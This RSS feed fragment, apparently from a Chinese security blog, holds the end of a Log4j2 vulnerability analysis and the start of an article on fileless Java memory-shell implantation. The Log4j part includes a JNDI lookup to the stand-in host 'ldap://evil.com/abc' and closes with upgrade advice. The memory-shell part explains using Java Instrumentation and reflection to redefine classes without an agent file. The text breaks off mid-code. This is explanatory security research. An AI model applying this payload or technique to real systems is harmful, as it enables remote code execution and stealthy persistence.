style="font-family:Calibri;">ldap://evil.com/abc</span></span></span></em><em><span style="text-decoration:underline;"><span style="font-family: Calibri;font-size: 14px;">”</span></span></em><em><span style="text-decoration:underline;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">&gt;</span></span></span></em></p><p><em><span style="text-decoration:underline;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">&lt;/Jms&gt;</span></span></span></em></p><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:宋体;">后面</span><span style="font-family:Calibri;">JmsAppender</span><span style="font-family:宋体;">将取</span><span style="font-family:Calibri;">factoryBindingName</span><span style="font-family:宋体;">值，走到</span><span style="font-family:Calibri;">jndiManager.lookup</span><span style="font-family:宋体;">并发起</span><span style="font-family:Calibri;">Jndi</span><span style="font-family:宋体;">的</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">处理，这个触发点和</span><span style="font-family:Calibri;">44228</span><span style="font-family:宋体;">一模一样，猜测是安全研究员根据</span><span style="font-family:Calibri;">44228</span><span style="font-family:宋体;">漏洞特征反推到的利用链，只是外部输入并不可控，所以显得很鸡肋。</span></span></p><p><span style="font-family:宋体;font-size:14px;"> </span></p><h2><strong><span style="font-family:黑体;font-size:21px;">六、总结</span></strong></h2><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">1</span><span style="font-family:宋体;">）漏洞发展：</span></span></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">一张图总结</span><span style="font-family:Calibri;">Log4j2</span><span style="font-family:宋体;">系列漏洞的更新</span><span style="font-family:Calibri;">/</span><span style="font-family:宋体;">绕过</span><span style="font-family:Calibri;">/</span><span style="font-family:宋体;">修复：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.45703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=258b921e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31keDLsgxwtjNATMKDVBZhX46N1qpuchlERVIYD4dZhsI41VKgurVYSg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Calibri;font-size:14px;"></span><br/></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">）漏洞总结</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">Log4j2</span><span style="font-family:宋体;">系列漏洞，除了</span><span style="font-family:Calibri;">CVE-2021-44228</span><span style="font-family:宋体;">，其他的几个漏洞都可以理解是在复现</span><span style="font-family:Calibri;">CVE-2021-44228</span><span style="font-family:宋体;">的时候意外发现的漏洞，换句话说，真正有威胁的只有</span><span style="font-family:Calibri;">44228</span><span style="font-family:宋体;">。</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">而对于</span><span style="font-family:Calibri;">CVE-2021-44228</span><span style="font-family:宋体;">，大部分</span><span style="font-family:Calibri;">java</span><span style="font-family:宋体;">应用一定是存在这个漏洞的，但存在漏洞≠可被利用，真正达成</span><span style="font-family:Calibri;">RCE</span><span style="font-family:宋体;">的攻击效果需要满足各种条件，包括：目标机需要有公网权限（可出网）、</span><span style="font-family:Calibri;">JDK</span><span style="font-family:宋体;">版本不能过高等。</span></span></p><p><span style="font-family:宋体;font-size:14px;"> </span></p><p><span style="font-size: 14px;"><span style="font-family:Calibri;">3</span><span style="font-family: 宋体;">）修复建议</span></span></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">当前</span><span style="font-family:Calibri;">2.17.0</span><span style="font-family:宋体;">版本修复了出现的所有漏洞，暂未发现新的风险，建议升级至此版本。</span></span></p><p><span style="font-family:Calibri;font-size:14px;"> </span></p><p><span style="font-family:Calibri;font-size:14px;"> </span></p><p style="text-indent:28px;"><span style="font-family:Calibri;font-size:14px;"> </span></p><p style=""><span style="font-size: 14px;font-family: 宋体;">参考：</span></p><p style=""><span style="font-size: 14px;font-family: 宋体;"><a href="https://logging.apache.org/log4j/2.x/security.html" target="_blank">https://logging.apache.org/log4j/2.x/security.html</a></span></p><p style=""><span style="font-size: 14px;font-family: 宋体;"><a href="https://github.com/apache/logging-log4j2/" target="_blank">https://github.com/apache/logging-log4j2/</a></span></p><p><br/></p>



<p><a href="2247484703">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e72dbd61&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247484703%26idx%3D1%26sn%3Da7b7a59b2ebf988ebce6d38160b11940%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 22 Dec 2021 16:34:00 +0800</pubDate>
    </item>
    <item>
      <title>Linux下内存马进阶植入技术</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484640&amp;idx=1&amp;sn=7f878b612292a10f89c047ad8e3a20fe</link>
      <description>无agent文件的条件下使用Java Instrumentation API</description>
      <content:encoded><![CDATA[<p>
原创 <span>游望之</span> <span>2021-09-02 12:05</span> <span style="display: inline-block;"></span>
</p>

<p>无agent文件的条件下使用Java Instrumentation API</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=010925bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPN8CvnciadXkoWsmSTMRfv624Z2x2qVicryIPks7jodYAw3ibVgkwhytOiaZXSln4ECcMTLUjDVIEAUFoA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style=""><span style="font-size: 24px;"><strong>无agent文件的条件下使用Java Instrumentation API</strong></span></h1><p><span style="font-size: 24px;"><strong><br/></strong></span></p><h2><span style="font-size: 24px;"><strong>序：Java Instrumentation API</strong></span><br/></h2><p>从Java SE 5开始，可以使用Java的Instrumentation接口来编写Agent。如果需要在目标JVM启动的同时加载Agent，可以选择实现下面的方法：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"> <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">premain</span>(<span class="code-snippet__params">String agentArgs, Instrumentation inst</span>)</span>;</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">premain</span>(<span class="code-snippet__params">String agentArgs</span>)</span>;</span></code></pre></section><p>JVM将首先寻找[1]，如果没有发现[1]，再寻找[2]。如果希望在目标JVM运行时加载Agent，则需要实现下面的方法：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">agentmain</span>(<span class="code-snippet__params">String agentArgs, Instrumentation inst</span>)</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">agentmain</span>(<span class="code-snippet__params">String agentArgs</span>)</span>;</span></code></pre></section><p>我们这里只讨论运行时加载的情况。Agent需要打包成一个jar包，在ManiFest属性中指定“Premain-Class”或者“Agent-Class”：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">Premain-<span class="code-snippet__symbol">Class:</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span></span></span></code><code><span class="code-snippet_outer">Agent-<span class="code-snippet__symbol">Class:</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span></span></span></code></pre></section><p>生成agent.jar之后，可以通过com.sun.tools.attach.VirtualMachine的loadAgent方法加载：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> void attachAgentToTargetJVM() throws <span class="code-snippet__keyword">Exception</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">List</span>&lt;VirtualMachineDescriptor&gt; virtualMachineDescriptors = VirtualMachine.<span class="code-snippet__keyword">list</span>();</span></code><code><span class="code-snippet_outer">    VirtualMachineDescriptor targetVM = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (VirtualMachineDescriptor descriptor : virtualMachineDescriptors) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (descriptor.id().equals(configure.getPid())) {</span></code><code><span class="code-snippet_outer">            targetVM = descriptor;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (targetVM == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> IllegalArgumentException(<span class="code-snippet__string">&#34;could not find the target jvm by process id:&#34;</span> + configure.getPid());</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    VirtualMachine virtualMachine = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">        virtualMachine = VirtualMachine.attach(targetVM);</span></code><code><span class="code-snippet_outer">        virtualMachine.loadAgent(<span class="code-snippet__string">&#34;{agent}&#34;</span>, <span class="code-snippet__string">&#34;{params}&#34;</span>);</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (<span class="code-snippet__keyword">Exception</span> e) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (virtualMachine != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            virtualMachine.detach();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>以上代码可以用反射实现，使用Java agent这种方式可以修改已有方法，java.lang.instrument.Instrumentation提供了如下方法：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">interface</span> <span class="code-snippet__title">Instrumentation</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * 加入一个转换器Transformer，之后的所有的类加载都会被Transformer拦截。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * ClassFileTransformer类是一个接口，使用时需要实现它，该类只有一个方法，该方法传递类的信息，返回值是转换后的类的字节码文件。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     */</span></span></code><code><span class="code-snippet_outer">   <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">addTransformer</span>(<span class="code-snippet__params">ClassFileTransformer transformer, boolean canRetransform</span>)</span>;    </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * 对JVM已经加载的类重新触发类加载。使用的就是上面注册的Transformer。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * 该方法可以修改方法体、常量池和属性值，但不能新增、删除、重命名属性或方法，也不能修改方法的签名</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">retransformClasses</span>(<span class="code-snippet__params">Class&lt;?&gt;... classes</span>) throws UnmodifiableClassException</span>;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">   <span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">   *此方法用于替换类的定义，而不引用现有的类文件字节，就像从源代码重新编译以进行修复和继续调试时所做的那样。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">   *在要转换现有类文件字节的地方(例如在字节码插装中)，应该使用retransformClasses。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">   *该方法可以修改方法体、常量池和属性值，但不能新增、删除、重命名属性或方法，也不能修改方法的签名</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">   */</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">redefineClasses</span>(<span class="code-snippet__params">ClassDefinition... definitions</span>)throws  ClassNotFoundException, UnmodifiableClassException</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * 获取一个对象的大小</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">long</span> <span class="code-snippet__title">getObjectSize</span>(<span class="code-snippet__params">Object objectToSize</span>)</span>;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * 将一个jar加入到bootstrap classloader的 classpath里</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">appendToBootstrapClassLoaderSearch</span>(<span class="code-snippet__params">JarFile jarfile</span>)</span>;</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * 获取当前被JVM加载的所有类对象</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function">Class[] <span class="code-snippet__title">getAllLoadedClasses</span>(<span class="code-snippet__params"></span>)</span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>可以使用redefineClasses方法完成对类方法的修改，结合javassist可以说是非常方便：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">agentmain</span>(<span class="code-snippet__params">String args, Instrumentation inst</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    Class[] loadedClasses = inst.getAllLoadedClasses();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; loadedClasses.length; ++i) {</span></code><code><span class="code-snippet_outer">        Class clazz = loadedClasses[i];</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (clazz.getName().<span class="code-snippet__keyword">equals</span>(<span class="code-snippet__string">&#34;com.huawei.xxxx&#34;</span>)) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                ClassPool classPool = ClassPool.getDefault();</span></code><code><span class="code-snippet_outer">                CtClass ctClass = classPool.<span class="code-snippet__keyword">get</span>(clazz.getName());</span></code><code><span class="code-snippet_outer">                ctClass.stopPruning(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// javaassist freezes methods if their bytecode is saved</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// defrost so we can still make changes.</span></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (ctClass.isFrozen()) {</span></code><code><span class="code-snippet_outer">                    ctClass.defrost();</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                CtMethod method; <span class="code-snippet__comment">// populate this from ctClass however you wish</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                method.insertBefore(<span class="code-snippet__string">&#34;{ System.out.println(\&#34;Wheeeeee!\&#34;); }&#34;</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">byte</span>[] bytecode = ctClass.toBytecode();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                ClassDefinition definition = <span class="code-snippet__keyword">new</span> ClassDefinition(Class.forName(clazz.getName()), bytecode);</span></code><code><span class="code-snippet_outer">                inst.redefineClasses(definition);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception var9) {</span></code><code><span class="code-snippet_outer">                var9.printStackTrace();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><h2><span style="font-size: 24px;"><strong>能否直接构造Instrumentation对象？</strong></span></h2><p>使用Java Instrumentation API的一个前提条件就是必须提供agent.jar，这是一个必须要放在硬盘上的文件。要解决这个问题，需要先识别问题的关键点：前面所有的编译生成agent.jar、loadagent加载最后都是为了产生Instrumentation对象，通过这个对象提供的redefineClasses方法，只需要提供字节码就可以完成类修改。java.lang.instrument.Instrumentation只是一个接口，它的实现类是:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> * The Java side of the JPLIS implementation. Works in concert with a native JVMTI agent</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> * to implement the JPLIS API set. Provides both the Java API implementation of</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> * the Instrumentation interface and utility Java routines to support the native code.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> * Keeps a pointer to the native data structure in a scalar field to allow native</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> * processing behind native methods.</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"> */</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">InstrumentationImpl</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Instrumentation</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span>     TransformerManager      mTransformerManager;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span>           TransformerManager      mRetransfomableTransformerManager;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">// needs to store a native pointer, so use 64 bits</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span>     <span class="code-snippet__keyword">long</span>                    mNativeAgent;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span>     <span class="code-snippet__keyword">boolean</span>                 mEnvironmentSupportsRedefineClasses;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">volatile</span>  <span class="code-snippet__keyword">boolean</span>                 mEnvironmentSupportsRetransformClassesKnown;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">volatile</span>  <span class="code-snippet__keyword">boolean</span>                 mEnvironmentSupportsRetransformClasses;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">final</span>     <span class="code-snippet__keyword">boolean</span>                 mEnvironmentSupportsNativeMethodPrefix;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span></span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">InstrumentationImpl</span><span class="code-snippet__params">(<span class="code-snippet__keyword">long</span>    nativeAgent,</span></span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">boolean</span> environmentSupportsRedefineClasses,</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">                        <span class="code-snippet__keyword">boolean</span> environmentSupportsNativeMethodPrefix)</span> {</span></code><code><span class="code-snippet_outer">        mTransformerManager                    = <span class="code-snippet__keyword">new</span> TransformerManager(<span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">        mRetransfomableTransformerManager      = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        mNativeAgent                           = nativeAgent;</span></code><code><span class="code-snippet_outer">        mEnvironmentSupportsRedefineClasses    = environmentSupportsRedefineClasses;</span></code><code><span class="code-snippet_outer">        mEnvironmentSupportsRetransformClassesKnown = <span class="code-snippet__keyword">false</span>; <span class="code-snippet__comment">// false = need to ask</span></span></code><code><span class="code-snippet_outer">        mEnvironmentSupportsRetransformClasses = <span class="code-snippet__keyword">false</span>;      <span class="code-snippet__comment">// don&#39;t know yet</span></span></code><code><span class="code-snippet_outer">        mEnvironmentSupportsNativeMethodPrefix = environmentSupportsNativeMethodPrefix;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span></span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">redefineClasses</span><span class="code-snippet__params">(ClassDefinition...  definitions)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">            <span class="code-snippet__keyword">throws</span>  ClassNotFoundException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!isRedefineClassesSupported()) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> UnsupportedOperationException(<span class="code-snippet__string">&#34;redefineClasses is not supported in this environment&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (definitions == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> NullPointerException(<span class="code-snippet__string">&#34;null passed as &#39;definitions&#39; in redefineClasses&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; definitions.length; ++i) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (definitions[i] == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> NullPointerException(<span class="code-snippet__string">&#34;element of &#39;definitions&#39; is null in redefineClasses&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (definitions.length == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>; <span class="code-snippet__comment">// short-circuit if there are no changes requested</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        redefineClasses0(mNativeAgent, definitions);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">native</span> <span class="code-snippet__keyword">void</span></span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">redefineClasses0</span><span class="code-snippet__params">(<span class="code-snippet__keyword">long</span> nativeAgent, ClassDefinition[]  definitions)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">        <span class="code-snippet__keyword">throws</span>  ClassNotFoundException</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>该类java.sun.instrument.InstrumentationImpl的构造函数私有，但使用反射仍然可以调用。重点关注这个参数nativeAgent，这是一个native的指针，那么如果我们能提供这个指针，就可以不通过加载agent文件的方式实现修改类代码。</p><h2><span style="font-size: 24px;"><strong>如何获得nativeAgent指针？</strong></span></h2><p>继续翻看Hotspot代码</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">InstrumentationImpl</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">Instrumentation</span> </span>{</span></code><code><span class="code-snippet_outer">    ...</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span></span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__title">redefineClasses</span><span class="code-snippet__params">(ClassDefinition...  definitions)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">            <span class="code-snippet__keyword">throws</span>  ClassNotFoundException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!isRedefineClassesSupported()) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> UnsupportedOperationException(<span class="code-snippet__string">&#34;redefineClasses is not supported in this environment&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (definitions == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> NullPointerException(<span class="code-snippet__string">&#34;null passed as &#39;definitions&#39; in redefineClasses&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; definitions.length; ++i) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (definitions[i] == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> NullPointerException(<span class="code-snippet__string">&#34;element of &#39;definitions&#39; is null in redefineClasses&#34;</span>);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (definitions.length == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>; <span class="code-snippet__comment">// short-circuit if there are no changes requested</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span 